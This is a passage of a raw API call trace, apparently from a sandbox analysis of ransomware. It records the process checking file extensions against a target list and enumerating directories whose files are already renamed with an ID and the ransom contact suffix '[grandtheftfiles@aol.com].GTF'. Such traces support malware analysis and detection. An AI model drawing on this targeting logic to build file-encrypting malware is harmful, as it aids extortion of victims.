	[0152.919] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".myi") returned 4
	[0152.919] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".nef") returned 4
	[0152.919] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".nrw") returned 4
	[0152.919] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".obj") returned 4
	[0152.919] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".odb") returned 4
	[0152.919] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".odc") returned 4
	[0152.919] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".odm") returned 4
	[0152.919] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".odp") returned 4
	[0152.919] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".ods") returned 4
	[0152.919] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".oft") returned 4
	[0152.919] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".one") returned 4
	[0152.919] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".onepkg") returned 7
	[0152.919] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0152.919] lstrlenW (lpString=".onetoc2") returned 8
	[0152.919] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0152.919] lstrlenW (lpString=".opt") returned 4
	[0152.919] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".oqy") returned 4
	[0152.919] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".orf") returned 4
	[0152.919] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0152.919] lstrlenW (lpString=".p12") returned 4
	[0152.919] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".p7b") returned 4
	[0152.920] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".p7c") returned 4
	[0152.920] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pam") returned 4
	[0152.920] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pbm") returned 4
	[0152.920] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pct") returned 4
	[0152.920] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pcx") returned 4
	[0152.920] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pdd") returned 4
	[0152.920] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pdf") returned 4
	[0152.920] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pdp") returned 4
	[0152.920] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pef") returned 4
	[0152.920] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pem") returned 4
	[0152.920] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pff") returned 4
	[0152.920] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pfm") returned 4
	[0152.920] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pfx") returned 4
	[0152.920] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".pgm") returned 4
	[0152.920] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".php") returned 4
	[0152.920] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0152.920] lstrlenW (lpString=".php3") returned 5
	[0152.920] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0152.920] lstrlenW (lpString=".php4") returned 5
	[0152.920] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0152.920] lstrlenW (lpString=".php5") returned 5
	[0152.920] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0152.920] lstrlenW (lpString=".phtml") returned 6
	[0152.921] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0152.921] lstrlenW (lpString=".pict") returned 5
	[0152.921] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0152.921] lstrlenW (lpString=".pl") returned 3
	[0152.921] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0152.921] lstrlenW (lpString=".pls") returned 4
	[0152.921] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0152.921] lstrlenW (lpString=".pm") returned 3
	[0152.921] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0152.921] lstrlenW (lpString=".png") returned 4
	[0152.921] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0152.921] lstrlenW (lpString=".pnm") returned 4
	[0152.921] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0152.921] lstrlenW (lpString=".pot") returned 4
	[0152.921] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0152.921] lstrlenW (lpString=".potm") returned 5
	[0152.921] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0152.921] lstrlenW (lpString=".potx") returned 5
	[0152.921] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0152.921] lstrlenW (lpString=".ppa") returned 4
	[0152.921] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0152.921] lstrlenW (lpString=".ppam") returned 5
	[0152.921] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0152.921] lstrlenW (lpString=".ppm") returned 4
	[0152.921] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0152.921] lstrlenW (lpString=".pps") returned 4
	[0152.921] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0152.921] lstrlenW (lpString=".ppsm") returned 5
	[0152.921] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0152.921] lstrlenW (lpString=".ppt") returned 4
	[0152.921] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0152.921] lstrlenW (lpString=".pptm") returned 5
	[0152.921] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0152.921] lstrlenW (lpString=".pptx") returned 5
	[0152.921] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0152.921] lstrlenW (lpString=".prn") returned 4
	[0152.921] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0152.921] lstrlenW (lpString=".ps") returned 3
	[0152.921] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0152.922] lstrlenW (lpString=".psb") returned 4
	[0152.922] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0152.922] lstrlenW (lpString=".psd") returned 4
	[0152.922] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0152.922] lstrlenW (lpString=".pst") returned 4
	[0152.922] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0152.922] lstrlenW (lpString=".ptx") returned 4
	[0152.922] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0152.922] lstrlenW (lpString=".pub") returned 4
	[0152.922] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0152.922] lstrlenW (lpString=".pwm") returned 4
	[0152.922] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0152.922] lstrlenW (lpString=".pxr") returned 4
	[0152.922] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0152.922] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c784930, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.922] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dc34d6d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e30fbad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.922] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dc34d6d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e30fbad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.922] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.923] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0152.923] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1028", cAlternateFileName="")) returned 1
	[0152.923] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0152.923] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.924] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.924] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c784930, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c7d54b5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.924] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9cb3e4ff, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dbc242f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.924] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dd19b9e, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dd19b9e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2c3650, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.924] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dd19b9e, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dd19b9e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2c3650, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.924] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.925] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0152.925] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1029", cAlternateFileName="")) returned 1
	[0152.925] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0152.925] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.926] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.926] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9cb3e4ff, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dbe88ca, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.926] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ca7f9fc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ca7f9fc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9caf1fc2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.926] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e2c3650, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e2c3650, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e335c98, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.926] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e2c3650, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e2c3650, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e335c98, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.926] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.927] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0152.927] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc0ec89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc0ec89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1030", cAlternateFileName="")) returned 1
	[0152.927] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0152.927] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc0ec89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc0ec89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.928] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc0ec89, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc0ec89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.928] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ca7f9fc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ca7f9fc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc0ec89, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.928] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9cb3e4ff, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dbe88ca, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.928] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e30fbad, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e30fbad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e335c98, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.928] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e30fbad, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e30fbad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e335c98, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.928] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.929] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0152.929] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc34d6d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1031", cAlternateFileName="")) returned 1
	[0152.929] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0152.929] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc34d6d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.930] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc34d6d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.930] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dbc242f, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dbc242f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e335c98, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.930] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dc34d6d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2e99d0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
